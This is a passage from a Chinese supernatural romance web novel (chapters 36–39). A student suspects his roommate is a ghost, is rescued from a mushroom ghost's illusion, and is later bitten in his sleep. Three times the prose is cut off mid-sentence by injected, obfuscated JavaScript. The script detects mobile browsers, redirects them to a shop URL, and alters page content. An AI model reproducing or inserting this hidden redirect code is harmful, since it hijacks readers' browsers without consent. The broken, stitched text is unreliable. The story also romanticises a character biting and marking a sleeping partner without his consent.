顾弛的声线此刻已冷得带冰,黑雾自脚底下失控地蔓延而出,他一双眼睛几乎是在瞬间变成了鲜红的竖瞳,声音带上了寒霜与狠厉。 “你什么意思?” “没什么意思。”无厢仍旧是笑眯眯的,他看着因为暴怒而露出本相的顾弛,“看来鬼王大人真的很在意那个小家伙啊。” “所以我真是有先见之明。”无厢收敛了笑容,看着顾弛,“分留了一个能随便被你杀了的分·身在这里,你觉得另一边,我会什么都不做吗?” 他说着,眼里流露出几分残忍,青白色的指甲扎入了树干中。 下一刻,那本还十分健康笔挺的粗壮树干,就像是被戳破了的气球一般迅速地萎缩,几秒之内就变成了脚边一片蜷曲枯萎的残枝。 溪白有危险! 顾弛脑海里只剩下这一个念头,只是在他有动作的一瞬间,前路便被无厢的身影给挡住。 “许久不见,也不叙叙旧?” “滚!”顾弛身上的黑雾夹杂着金光闪烁,宛若身负万钧雷霆,任何阴物只要看到了都会本能地退避三舍,因为它们知道只要被这金光黑雾触碰到一下,便是魂飞魄散的下场。 但无厢却跟疯了似地不避不让,只一味地冲上来与顾弛缠斗。 因为这本身就是他用来牺牲的一个分身而已。 他的目标,从来不是顾弛。 ※ 溪白捧着罗盘,张着嘴站在原地。 血红色的指针仍在不停颤抖着,就像一个疯狂跳动的惊叹号,而惊叹号所指示的方向,就是不远处背对着这边的,他的好室友,顾弛。 指针在震动,呈现出血红色,指着顾弛的方向。 都对上了。 溪白已经分不清究竟是自己的手在抖,还是罗盘在震了,他的双眼死死盯着顾弛的背影,里面也不知是震惊更多,还是不敢置信更多。 顾弛……真的是鬼? 明明身上的衣服是足够厚的,可此时溪白只觉得自己从脚底板凉透到了天灵盖。 顾弛怎么会是鬼呢? 溪白到现在也无法接受这个像是一把大锤一般砸到他头顶上的事实,过往的相处细节悉数自脑海之中浮现。 顾弛有呼吸,顾弛有体温,他能晒太阳……哦对,还有他的八字,庄术说他八字极阳,鬼是阴物,怎么可能有极阳的八字呢! 咦,下雨了? 几滴掉落的水珠几乎蹭着鼻尖坠落,砸在了脚底下干枯的树叶上。 原本掉落后被分解得七七八八的树叶层层叠叠地堆积在山坡上,形成厚厚一层,水珠落地发出清脆的“啪啪”几声。 北城干燥,雨水很少,怎么今晚突然下雨了? 除了雨水,还有一股很清幽的甜香。 等等。 溪白一顿。 这好像不是雨。 那几滴“水珠”落在叶子上,留下了一片孔洞。 莫名熟悉。 就和那天在图书馆里爆掉的那个河童鬼一样的。 若有所感的溪白,缓缓地抬起了头。 他看到了几朵蘑菇。 粉色的伞盖,上面有白色的斑点,即使身处黑夜也十分鲜艳,甚至散发着淡淡的荧光。 但树上怎么会长蘑菇? 直到一张只有一只眼睛的大脸张着血盆大口缓缓地扭转过来看向了地面,尖锐的牙齿滴落着散发腥腐味的口水。 口水落在地上,再次把枯叶腐蚀出刺啦刺啦的声响。 溪白默默地将手里的罗盘举高了一些。 指针变得更加鲜红,颤动的幅度也更大了。 哦! 溪白了然。 原来罗盘说的鬼在这里啊。 鬼不是顾弛! 溪白看向不远处那个背影,庆幸地握了握拳。 …… 等等。 他又抬头看了一眼。 头上长着蘑菇的大眼鬼将脑袋咔嚓一下拧了180度,似乎是在提醒溪白自己的存在。 溪白缩了缩脖子。 鬼啊!!! 他原地蹦起来就想要跑,跑之前还想着要去拉上那边似乎还对情况一无所知,蹲在地上捡花瓣的顾弛。 但还没动弹。 溪白发现自己动不了了。 四肢突然有一种像不属于自己一般的脱力和酸软,溪白猛地回想起方才闻到的甜味。 他的视线聚焦在那鬼头顶的蘑菇上,像是察觉到了他的视线,蘑菇猛地收缩了一下,然后舒展开,伞盖的中心裂开一个十字形的小口,吐出几股粉色的甜腻雾气。 蘑菇鬼脸上占据了七成范围的巨大眼睛里,变成了旋转的波纹。 好晕啊…… 这是溪白双眼一黑之前,剩下的最后一个想法。 ※ “溪白…溪白……” 灿烂的阳光轻轻刺了一下还有些朦胧的双眼,溪白闭了闭,再睁开眼睛时,周围的环境逐渐清晰了起来。 他的面前多了一个小小的身影。 不,也不是很小。 他们一般高,溪白看了看面前脸蛋圆圆的小男生,心里说道。 他打量了一下四周, 溪白发现自己站在一片树影下,刚刚那刺目的光,就是从头顶的树叶缝隙里悄悄钻过来的。 眼前是一片操场,阳光正好,晒得空气之中都多了一层朦胧的水雾感。 有些眼熟,溪白心说,自己这是在哪里? 五感在这一刻似乎恢复了正常,溪白眨了眨眼睛。 面前圆脸男孩的五官终于能看清了,溪白辨认了一下,有些惊讶地开口。 “小…武?”他张了张嘴,犹豫地喊出那个名字。 溪白想起自己在哪里了。 他在孤儿院,他长大的孤儿院。 咦,不对。 自己为什么会说“小时候”? 溪白歪了歪头,没等他细想,面前叫小武的男生就朝他伸出手。 “走吧溪白,我们去打球!” 这句话成功夺走了溪白的注意力。 其实,溪白从小就是个怪小孩。 真要客观地说,倒也不奇怪。 一个八字极阴的孩子,能见鬼,能读鬼的心声,必然是与普通的小孩儿格格不入的。 试问才不到十岁的孩子,动不动就害怕得发抖地指着别人肩膀说“你那趴着一个没脑袋的男人”、“你床底下有个三只眼睛的女人”…… 周围的人会选择避而远之,也只能说是人之常情。 于是,小溪白学会了和自己玩耍。 而面前的小武,还有背后操场上跑来跑去的什么小六、章章、大明……都是溪白曾经的朋友。 “你们回来了呀。” 小溪白小心地眨了眨眼睛。 “什么回来。”小武像是不明白,“我们一直都在呀。” 小溪白听了这话,微微歪了歪脑袋。 他的眼睛渐渐地弯起,一口漂亮整齐的白牙亮了出来——这是他最开心的笑容。 操场上跑着的那些伙伴也都停下了动作,他们齐齐转头看过来,呼唤着。 “溪白,快来呀。” “我们在这呀。” “溪白,我和你一队!” 挥手的,蹦跶的,拉着溪白衣角的。 抱着一只皮球的小溪白眼睛越来越亮,不知道什么时候,他手背上已经悄悄地落下了几滴眼泪。 原来,自己这么受欢迎呀。 但是……溪白总觉得哪里有些奇怪。 他是不是忘了些什么? 感觉有东西就在脑海的深处,仿佛被雾蒙蒙的一层布包裹了起来。 他想要伸手去碰,却够不到,但分明感受到那里是有些什么东西的。 是什么呢…… 溪白正想着,就听见小武喊自己。 “溪白,快跟上啊!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565845|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他下意识地想要上前,可一股力道,却从小腿一路传了过来。 溪白低头。 他看到了一只手。 一只宽大厚实,十分有力的手。 那只手从地面下伸了出来,死死抓住了溪白的脚踝。 像这种时候,胆子并不大的小溪白应该早已被吓到捂着嘴无声地开始哭了——就像过往无数个只有自己一个人睡在单独的小房间里,和角落里奇形怪状的鬼共处的夜晚一样。 可不知道为什么,他并不怕这只手。 或许是因为这只手有温度。 温度还很烫,尤其是贴着他踝骨的掌心。 一股刺痛顺着脚踝传来,溪白轻轻嘶了一声,痛得他下意识闭上了眼。 但等再睁眼看向周围的世界时,一切都已经变了。 没有阳光,没有操场,更没有什么染着光晕的树影。 只有无数鬼气森森的雾气团,在他面前上下漂浮着。 溪白怀里抱着的也不是什么皮球,而是庄算给他的罗盘,罗盘上的指针已经颤得几乎看不清边缘了,颜色红得几近滴血。 就差冲着溪白喊了:有鬼,有鬼啊! 溪白想要跑,但四周皆是一片浓雾包裹,他根本没有去除。 那些漂浮的雾气团似乎察觉到了这边的动静,溪白就见它们缓缓地转过“头”。 猩红充满嗜血气息的“眼睛”,出现在了雾团之上。 但没等它们做出反应。 下一秒,一股力道带着熟悉的温度,抓住了溪白的手臂。 “站稳,别动!” 顾弛的声音像是一道指令,带着不容违抗的语气扎进了大脑里。 溪白还真本能地就定在了原地。 一阵窸窣声响自脚底传来,溪白低头的一瞬间,双腿差点就一软坐地上了。 他站在那块被充作“观景台”的凸出延伸出去的石板边,而刚刚听到的声音,是他把位于石板边缘的一些小沙石踢得掉落下去的声音。 而此时此刻,溪白的半只脚已经伸了出去。 要是刚刚反应再慢一秒,他的重心前倾,估计人已经直接掉下去了。 溪白眼底的光影都在颤抖,他嗓子眼里咕咚一声。 “站稳。” 顾弛的声音传来,像是一种特效的镇定剂,溪白点了点头。 随着他的动作,顾弛抓着他的手臂一发力,溪白快速地后退了两步,和那片地方拉开距离。 心在这一刻,才从几乎停滞的频率,变成了顶到胸口发闷的狂跳。 溪白直接坐在了地面上,他还记得那蘑菇鬼的事情,但仰脸紧张地扫了一圈头顶,却什么也没看见。 最后只在不远处的一棵树木下的空地上,看到了一只皱缩干枯,失去鲜艳色泽的粉色斑点蘑菇。 刚刚这只蘑菇,还长在那鬼的头顶来着。 它死了? 溪白犹豫着,但似乎也找不到其他的线索可以推断出不同与此的结论。 “溪白?” 溪白回过神,从地上爬将起来。 “顾弛,你刚刚……” 他本想问顾弛来的时候有没有看到什么,但爬起来一抬头,看到的就是对方脸上一片淋漓的血迹。 于是其他什么话他都忘了,溪白几步上前,伸手小心但快速地捧住了顾弛的脸。 “你怎么受伤了!” 顾弛的眼睛微微放大,他看着面前一脸担忧地检查自己这里那里的溪白,有一种奇妙的感觉自心底涌了出来。 “我没事。”他开口,轻轻抓住了溪白的手,“就是刚刚过来的时候,被树枝刮了一下脸。” 顾弛面不改色地说道,语气轻松得像是没做什么。 也不过就是刚刚和无厢的一缕分·身战斗完,又随手过来把蘑菇鬼抹杀了,然后拉住了差点掉下去的溪白而已。 溪白心说自己真是糟糕。 一开始怀疑顾弛,甚至还误认为罗盘指示的鬼就是顾弛,结果最后还是要顾弛来救他。 说不定那蘑菇鬼,也是顾弛的极阳之体给消灭的。 溪白这么猜测道。 他正想着,就感觉顾弛的目光往下走了一些。 溪白和他一起低头。 他手里还攥着那个罗盘。 溪白:…… 罗盘的指针,缓缓转动着,最终,指向了对面的顾弛。 溪白:………… !!! 只不过眼睛都还没来得及睁大,就被顾弛一句轻飘飘的话打断了施法。 “这个东西好像坏了。” 溪白眨眨眼。 诶? 顾弛认真地冲着溪白点了点头,他伸手接过那罗盘,捏着其中一角,竖着提了起来。 溪白就见到罗盘正中的指针稍微停顿了一下。 然后就被重力吸引得“咻”一下滑落,笔直地指向了地面。 牛顿欣慰.jpg 37.第 37 章 庄算在看到群里的消息后,陷入了良久的省略号。 [White:呜呜呜对不起!!!] 怕自己的歉意表达的不够,溪白还补了个颜文字。 [White:QAQ] 庄术的回复倒是比庄算还快点。 [术上骑个猴:没事,能修的] [术上骑个猴:本身庄家的罗盘就有充当护身符的效果,刚刚你说的那个蘑菇鬼攻击你的时候,你有没有觉得抓着罗盘的手有些烫?] 溪白回忆了一下,当时在幻境里底下伸出来的那只手,莫非就是罗盘的保护? 但当时他抱着排球的时候,手掌里也确实有一点不一样的灼烧感,感觉那个更像? 还是说两个都是? 溪白见庄算还没有说话,就又发了条消息。 [White:@神算子别生气了小蒜头,我请你吃市中心那家和牛自助!] 庄算秒回。 [神算子:好!] [神算子:我才没生气呢【哼哼】] 把庄算给哄好了,溪白赶紧带着顾弛回了宿舍。 “只是皮外伤。”顾弛道。 “那也不能不管。”溪白说得斩钉截铁。 这可是顾弛的脸。 绝对一点疤痕也不能留。 但当溪白把他安置好,打算出门找找24小时的药店买些药回来给顾弛消毒脸上伤口的时候,却被拉住了。 “太晚了。”顾弛抓着溪白的手腕,“别出去了。” 溪白本想说自己很快就回来,但回头对上顾弛认真而坚决的眼神,回想到今晚发生了那么多事情……他点了点头。 “我外卖送药,到了下楼去拿。” 这样总可以了吧。 “你的伤必须处理。” 溪白的眼神柔和,但话却是毫不让步。 顾弛与他对视良久,最终缓缓放松了手。 “那等外卖到了,你再下楼吧。” 房间里一瞬安静下来,两人都坐在自己的位置上,没有再说话。 顾弛在思考的是,无厢明显已经注意到了溪白,那接下来他必须得做什么,把溪白保护起来。 而溪白在思考的,是自己和顾弛的关系。 顾弛,应该是人。 溪白内心有八成的把握。 他伸手摸了摸自己的心口,那里在升温和加速。 如果是这样的话,是不是代表着,自己可以放心大胆地去追顾弛了。 心口咚咚地跳着,像是在给人上发条。 溪白缓缓地转过头。 他只是想偷偷地去再看看那个自己喜欢的男生的样子,用自己的眼睛亲自去描摹一下顾弛优越的五官,纵使早已刻在脑海记忆深处,但今夜心态的转变,让他控制不住地想要再看上几眼。 结果毫无准备地撞进了那双让他无数次脸红心热,干净得像是没有一丝杂质的,琉璃似的眼睛里。 溪白意识到,顾弛其实也一直在看着他。 这个时候,最怕的就是沉默的尴尬。 但双方皆有不可言说的心思,除了继续看着对方一语不发,似乎也没有别的可做。 幸好,一通电话拯救了溪白。 “好,您放楼下就好,我下去取。” 溪白挂了电话,拿着手机的那只手,顺势捏了捏自己的耳垂。 “那我先下去拿药了。” 丢下一句话,溪白揣好那颗平静稍许的心,快步出了宿舍门。 留顾弛一个人在宿舍里,看着他消失在门背后的身影。 缓缓收回手,修长的手指蜷起。 顾弛垂眸,看着自己的手掌。 今晚牵了溪白好多次。 他无声地翘起了唇角。 好开心。 溪白在楼下台阶上翻到了自己买的药,提着外卖袋刷开宿舍的门禁,走进了大楼里。 他走得着急,却不小心被绊了一下。而身后在闭门器的推动下,大门自动闭合,朝他撞了过来。 门板撞了过来,溪白习惯性地想用脚跟去抵,但一只宽大的青白色手掌却先一步抓住了门沿,替溪白挡住了闭合的大门。 溪白听见那只手的主人问自己。 “你没受伤吧,同学?” 虽然即使门撞过来,溪白预先用鞋底去顶住了门,也并不会伤到。 但对方毕竟是帮他挡的门,溪白还是下意识说了句谢谢。 抬起头的时候,溪白对上了一双眼睛。 那是一双十分少见的眼睛。 眼白很多,瞳仁很少,黑瞳的上下两端和眼皮眼睑之间都留有空白的部分,打眼一看,甚至有点像隔壁霓虹动漫里的人物。 加上那只青白没有血色的手,溪白刚开始的确被吓了一下。 但那只手和那双眼睛的主人,却露出了一个十分友好的微笑。 “不客气。” 溪白上楼,那个男生也走在后头。 一栋宿舍楼里起码上百间宿舍,也就是说至少有一百多个学生,而且大部分来自不同学院。 溪白也不认识这个男生,不过观察了一下,这人身材高大,十分清瘦,甚至因为骨架太宽,肌肉又不多,显得有些驼背。 五官长得挺不错,加上不知为什么皮肤的血色不是很足的样子,有种病态的美感。 庄算说的什么来着? 溪白想了想,好像叫“病美人”。 一路上到自己的楼层,两人都无话。 溪白不认识他,也并没有搭话的想法,甚至因为脑海里想着今晚发生的事,连多看那人一眼也没有。 只是在走近宿舍门口的时候,他感受到了来自背后的注视。 回过头,就见那双瞳仁极小,小得远看几乎只剩眼白的眼睛,正在走廊尽头的楼梯边上,静静地凝视着自己。 溪白的汗毛瞬间就炸起来了。 他目光下意识往下,却意外地发现,那个男生垂着的另一只手虽然也依旧是青白的肤色,可手背上却带着淋漓的鲜血痕迹。 血液滴滴答答地落下,看不见伤口,但明显还没凝固。 似乎是注意到了他的目光,男生的手很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582145|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收进了袖子里,眼睛再度弯了起来。 高大瘦瘠的男生又朝溪白笑了笑,用一种让人听着都有些背脊汗毛倒竖的语气,幽幽地开口。 “原来,你住这间啊。” 溪白甚至不想回应,伸手要去推门。 但门把手先他一步自动旋转,甚至从里面自动打开了。 毫无防备的溪白,就这么直接叫出了声。 直到熟悉的冷松木香与滚烫的体温传来,他立刻反应过来:开门的是顾弛。 “溪白。”顾弛抓住溪白清瘦的手腕,“你怎么了,吓到了?” 柔暖的光线自屋内照出走廊,溪白站在顾弛投落的影子下,抬起头时,看到的是那熟悉的宽阔胸膛。 这一瞬间,后背不再发冷,溪白也重新有了脚踏实地的感觉。 原本抓着手腕的那只手突然抬起环住了他的肩头,力道自后背处传来,溪白整个人撞入了那刚刚才带给他安全感的胸膛之中。 松木香气和灼烫的体温在这一刻以更加直接的方式猛烈地刺激溪白的感官,耳朵贴着顾弛的胸口。 溪白听到了咚咚咚的心跳声。 属于人类的,心跳声。 在这一刻,他的疑惑尽数解了。 是啊。 这是人类的心跳声。 顾弛,就是人类呀! 确定了最终的结论,溪白心潮澎湃,他抬起头,却意外地发现顾弛虽搂着他,看的却是另一个方向。 下意识地跟着对方的视线看去,溪白发现刚刚还站在楼梯口的那个瘦高男生,已经不见了。 走了? 顾弛蹙了蹙眉,他感受到怀里人的动作,收起了方才冷冽的表情。 “拿到药了?” 耳畔落下温热,溪白张了张嘴,又抿唇。 “嗯。” “那进去吧。”顾弛说。 两人进了宿舍。 溪白倒是没多想什么,他还沉浸在听到顾弛的心跳,确认他真的是“人类”的欣喜之中。 反倒是顾弛的脸色沉得几乎可以滴出水来,他站在靠背椅旁,手掌抓着椅背,皮革上留下用力过后清晰分明的指痕。 为什么溪白身上会有无厢留下的气息? 那家伙,盯上溪白了? 杀气自顾弛身上悄然蔓延开来,虽然不是冲着溪白而去,但溪白却清楚地感受到了一种令他有些心悸的气场。 他刚把药品拿出来,转头看背对着自己的顾弛。 “……我给你上药?” 宿舍里的气氛立刻就变了。 那有什么杀气和冷肃,顾弛转过身露出一双亮晶晶的眼睛,像是什么被最亲近的人呼唤了的大型犬,立刻到了溪白的身边。 “嗯!” 溪白只觉得一阵风过,人就到了自己身前,他坐在椅子上,拿着手里蘸饱药液的棉签准备起身,换顾弛坐。 结果,顾弛先他一步,在自己的面前仰起脸蹲下了。 蹲,下,了。 溪白闭了闭眼。 他觉得自己的脑子要被血流冲爆了。 38.第 38 章 顾弛双手交错着撑在大腿上,保持着动作,就这么仰脸蹲在溪白的双腿跟前。 见溪白拿着药棉不动了,他还轻轻地歪了歪头,“溪白你怎么了?” 语气和神态干净得让人生出一些其他心思都觉得是对顾弛的辜负。 溪白闭了闭眼睛,不去看那双干净的狗狗眼,心里暗骂。 怎么了? 这家伙还敢问! 怎么勉强也平复不了心跳,溪白只好道:“我们换一下吧,你坐着,我给你上药。” 他想要站起来,却被一只手按住了膝盖。 掌心里的温度直接把溪白烫得坐了回去。 哪怕面前的人体温其实并没有那么热。 “不用。”顾弛依旧仰着脸,直勾勾地看着溪白,“就这样。” 像是表达的还不够似的,他又补充了一句:“我喜欢这个样子。” 一双毫无杂质的眼球里似乎装不下一丝谎言,让人毫不怀疑他的每一句话皆是出自真心。 喜,喜欢…… 溪白看着顾弛含着笑意的唇角,他捏紧了手里的棉签。 “那,那你别乱动。” 要是再乱折腾,他就要承受不住了。 “嗯。”顾弛闭上了眼睛,唇角勾起的弧度似乎更大了一点,“我不乱动。” 蘸饱了药液的棉签轻轻擦拭过伤口,溪白小心翼翼地清理着半干涸的血迹。 “疼吗?”他忍不住问顾弛。 顾弛张了张嘴,溪白看到他紧闭着的双眼似乎有轻轻转动一下的动作。 “如果疼的话,怎么办呢?” 蹲着的男生依旧看着身材高大,但问出的话,却和小孩子一般的带着点……撒娇的味道。 溪白的心脏又颤了一下,看着顾弛阖起的双眼,喉结轻轻滚动。 他保持着手上消毒的动作没停,语气像是很自然地开了口。 “疼的话,我就给你吹一下。”溪白喉咙发干地说道。 话音落地,闭着的眼睛睁开了。 这一瞬,溪白几乎要在顾弛的眼睛倒影里,错看到自己红得快冒出热气的脸庞。 倒影下一刻就看不太清了,溪白还没来得及松口气,那双眼睛就又弯了起来。 顾弛调整了一下动作,蹲得离溪白更近了点,他双手垂着按在地面上,弯着眼睛朝溪白笑着,把脸凑近了些。 太近了! 在如声声擂鼓一般的剧烈心跳声中,溪白听见顾弛的声音比过往的时候都更加清晰。 “好啊,那辛苦你啦。” ※ 消毒液的塑料瓶盖,拧了三次才拧上。 溪白觉得自己的手笨成这样,多少有此刻那颗装满一团乱麻的大脑的功劳。 刚给顾弛吹过伤口现在还有些发麻的嘴也是。 时间已经很晚了,窗外的大雪依旧下着。 溪白关了灯,爬上了床。 一阵窸窣的声响,顾弛给他空出了位置。 “被窝已经暖了。”黑暗里说。 溪白脸一热,默默地挪过去,枕着手侧躺下。 耳旁能听见轻微的呼吸,溪白无声叹了口气。 他是真不知道这人的心是怎么样的。 怎么就能一脸无害地说出那么多撩人心弦的话,满是纯真地做出那好些让人心跳加速的事呢。 溪白摸了摸发烫的脸,闭上眼睛。 也许是今晚的事情太过惊心动魄,又是顾弛、又是蘑菇鬼、又是差点掉下悬崖的……此时他紧绷的神经终于在一切结束后舒缓下来,很快,溪白就睡着了。 但他这一觉睡得并不好,做了个很长很长的梦。 他梦到自己又回到了小时候,重新经历了一些不太美好的记忆。那些一开始对他亲密无间的小伙伴,都像之前一样,因为他笨笨地直言了四周有鬼存在,而把他当成一个怪胎避之唯恐不及。 但梦似乎又不同了。 这一次抱着自己的小皮球默默离开的小溪白,被人牵起了手。 那只手掌宽大温热,像是从光里走来的,他一路牵着溪白,离开了并没有留下多少美好回忆的孤儿院。 那人最终停了下来,蹲在溪白面前,轻轻抬起手,摸了摸他的脑袋。 顾弛猛地睁开眼时,已经是后半夜。 他听见了身旁的声响,神识瞬间向前探去,在察觉溪白的状况不对时,双手已先一步,把人捞进了自己怀中。 溪白缩在顾弛的怀里,身体在微微地发着抖,体温很高,顾弛清晰分明地感受到了和之前的不同。 溪白生病了。 谢必安说过,人类的身体和他们不一样,是很脆弱的。 生病了要去的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603462|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好像是医院。 顾弛拿出手机,想要找一下最近的医院究竟在哪里。 今天晚上的雪并不小,两人又在山上耽搁了太久。 加上今日天气寒凉,溪白本身的体质偏阴,又接连面对了蘑菇鬼,还在不知情的情况下和无厢近距离接触。 过多的阴寒之气一次性冲击到身体,他的寒症又一次复发了。 顾弛找到地址,抱起溪白刚想动作。 怀里的人却像是终于找到了一个可以温暖自己的热源,原本缩起来的四肢在这一刻直接朝顾弛抱了过去。 顾弛还没反应过来,就被溪白给抱住了脖子。 他微微睁大眼睛,不敢置信地低头。 啊,果然,人还睡着。 但也是这一颔首,顾弛察觉到了什么。 他盯着溪白并不算十分安详的睡颜看了一会儿,侧过脸,缓缓低下头。 淡色的薄唇借着夜色的遮掩微微张开,两颗微尖的虎牙抵上了细嫩而脆弱的颈侧肌肤。 顾弛轻轻地咬了一口。 没有见血,但触感清晰的冰冷寒气,顺着贴合的唇与颈部被顾弛吸入了腹中。 寒气顺着四肢百骸转了一圈,最终被元神所吸收。 他和无厢战斗时虽然没什么压力,但那个分·身明显就是敢死队的性质,顾弛为了赶紧回去找溪白,也不免被伤到了几下。 他本并不在意自己的伤势,元神受点伤对鬼来说很正常,花点时间休养就好了。 却没想到,溪白体内的寒气居然能成为他元神的养料。 当然,养料什么的都不重要。 顾弛看着眼前那一片白皙得快赶上今夜落下的雪的肌肤,舔了舔干燥的唇。 溪白,真的好香。 他知道,自己的“进食”会留下痕迹。 斑斑点点的,在溪白的脖颈和领口旁。 虽然作为一只鬼,顾弛并不懂人类脖颈上的红印有怎样暧昧的含义,但他就这么看着自己留下的点点印记,只觉得又是一阵口干舌燥。 溪白的体温很快退了。 停下吧,顾弛告诉自己。 嗯,再一口就停。 嗯…再来一口吧。 唔,最后一口…… 睡得越来越安稳的溪白,潜意识里觉得今晚那个长长的梦,逐渐变得光怪陆离。 39.第 39 章 “溪宝。” 溪白到了课室刚坐下,就听见庄算喊自己。 他本以为庄算想问顾弛的事情,刚想把昨晚发生的事情和自己已经确定了顾弛就是人类的事情说给庄算听,却发现对方看着自己的眼神,和往日里单纯好奇的眼神有些不同。 溪白:? “溪宝。”庄算指了指自己的脖子和衣领的交界处,“你,被蚊子咬了?” 蚊子? 溪白下意识地学着他的动作摸了摸自己的脖子,印象里,他们宿舍没有蚊子啊。 而且都大冬天了,北城哪来的蚊子。 可庄算的语气听着像是确有其事,溪白打开了前置摄像头,举着手机对着自己的脖子照了照。 不照不打紧,一照,他连手机都差点没拿稳。 哪来的蚊子?还这么毒! 都给他脖子咬成什么样了! 这是狗吧! 等等,溪白一愣。 狗……? 中午,溪白回到宿舍。 “外卖到了,可以吃饭了。”顾弛的心情似乎很好,朝溪白笑得眼睛都弯了起来。 看着对方随着笑容露出来的那两颗尖尖的虎牙,溪白下意识摸了摸自己的脖颈。 “你脸上的伤好了吗?”溪白进屋放下背包,看了一眼顾弛的脸,搭话说。 顾弛感受到溪白的靠近,他一边拆着被店家手滑绑成死结的塑胶袋,一边弯着腰把脸送进。 “不知道啊,你看看?” 优越的五官自带冲击力,溪白双眼又一次睁大。 他粗略地扫了一眼结痂的伤口,撂下一句“好很多了”,就赶紧收回了目光。 屋子里暂时只剩下塑料袋被拆开提耳时发出的窸窸窣窣声。 “顾弛。” “嗯?” “你昨晚睡觉的时候,有蚊子吗?” 窸窸窣窣的声音停了一瞬。 “没感觉到。”顾弛把米饭、肉、菜一一取出摆好,给溪白递餐具,“怎么了?” 溪白接过坐下,一边拆米饭的包装盒,一边沉思。 他刚刚观察了一下,顾弛的表情倒是挺淡定的。 想了想,溪白放下手里的一次性餐具包。 感觉到顾弛眼神扫过来的时候,溪白伸手抓着自己的领口用力,往下扯了一截。 压下脸上泛起的些许燥热,溪白保持着表情的平静,说:“我昨晚好像被咬了。” 从溪白扯衣服的那一刻,顾弛的目光就锁定不动了。 昨天晚上黑,看得不是很清楚,但现在天光大亮,他才知道溪白的脖子究竟被自己啃成了什么样子。 或大或小,或深或浅的红印,毫无规律地散落在纤细修长的脖颈,像是雪地里落下的红梅,漂亮得让人心悸。 还有一颗不偏不倚,正好缀在了溪白小小的喉结之上。 就好像察觉到了顾弛的目光。 那颗漂亮的小喉结,上下滚动了一下。 顾弛觉得自己的嗓子很干。 “那,需要给你涂点药吗。” 捏着筷子的手指轻轻蜷了蜷,顾弛道。 “你昨晚买的药有用吗?如果你看着不方便,我可以,帮你涂药。” 说到最后,顾弛觉得自己连吐字都有些不流畅了。 他直勾勾地盯着,反倒是溪白先受不了。 将衣领重新松开,甚至遮掩性地扯了扯领口挡住脖子,溪白闹了个大红脸,道:“没事,我自己来就好了。” 溪白在心里暗暗批评自己。 都是什么脑回路,一想到狗就开始乱想,还真考虑起脖子上的东西会不会是顾弛啃的可能性了。 下午溪白去了趟校医院,和校医说自己有点过敏。 校医看了一眼也是面色奇怪地嘟囔,觉得病因有点难分析,又仔细检查了一下后给溪白开了点炉甘石洗剂,让他涂两天试试。 下午溪白还有两节课,从校医院里出来的时候,他看到门外站着一个熟悉的背影。 他几乎是看了一眼就想要喊出声,但想了想,人应该不在这里吧。 结果那人听见脚步声转过头的时候,溪白才发现真的是顾弛。 “你怎么在这?”溪白把手里的缴费单和病历卷成一团塞进药袋里,想到这里是校医院,立刻观察了一下顾弛的脸色,“你也不舒服吗?” 但看了一下,脸色红润,精神似乎也不错,不像是生病的样子。 顾弛从溪白手里拿过药,拍了拍他的书包,溪白默契地转过身。 耳后响起一阵拉链声,顾弛把药塞进溪白的书包里,“送你上课。” 溪白眨了眨眼。 怪不得顾弛没背包来,他今天下午好像也没课来着。 “送我?”书包被重新拉上,溪白率先走在了前面,“……怎么突然送我。” “就送送。”顾弛随口答了一句,目光扫向校道旁边的球场,“一会儿看看打个球。” “原来你平时也会打球。”溪白下意识接了一句。 顾弛看他。 溪白:“咳。” 为什么溪白刚刚看到背影不敢认,因为平时没什么事的时候顾弛一般都在宿舍,靠在床上刷手机或者抱着被子看书。 像一只懒洋洋的大狗。 之前溪白期中考提前交卷回宿舍早了的一次,还看到顾弛把被子抱错了。 溪白倒是不介意,反正当天他晚上盖着那带了点松木香气的被子睡得很香就是了。 只不过有点害羞。 不过他一直很好奇,顾弛看着倒也没有刻意去健身,也不像徐骁似地每天都打球惹得庄算夏天硬刚烈日冬天顶着寒风去看,而且吃也没少吃,溪白点奶茶的时候,也会给他多点一杯。 但就这么吃下来,顾弛的身材倒是一直保持得很好,八块腹肌一块没少。 啧,讨厌的高代谢人。 顾弛余光看着溪白嘀嘀咕咕时鼓起来一点的侧脸,忍不住舔了舔唇。 真可爱。 他现在有些食髓知味,一看到那白皙的脸蛋,就想到昨天晚上那柔软的与自己唇齿厮磨时的触感。 虽然是在外面,顾弛还是难免觉得有些火往底下窜。 昨天晚上顾弛一口又一口的时候,其实就已经忍得非常难受了,他当时有思考过要不要翻身下床去一趟浴室。 但思考了一下,顾弛决定:要留着。 等溪白有空了再帮帮他,顾弛很自然地心想。 他定了定心神,把目光收了回来,一路陪着溪白到了教学楼。 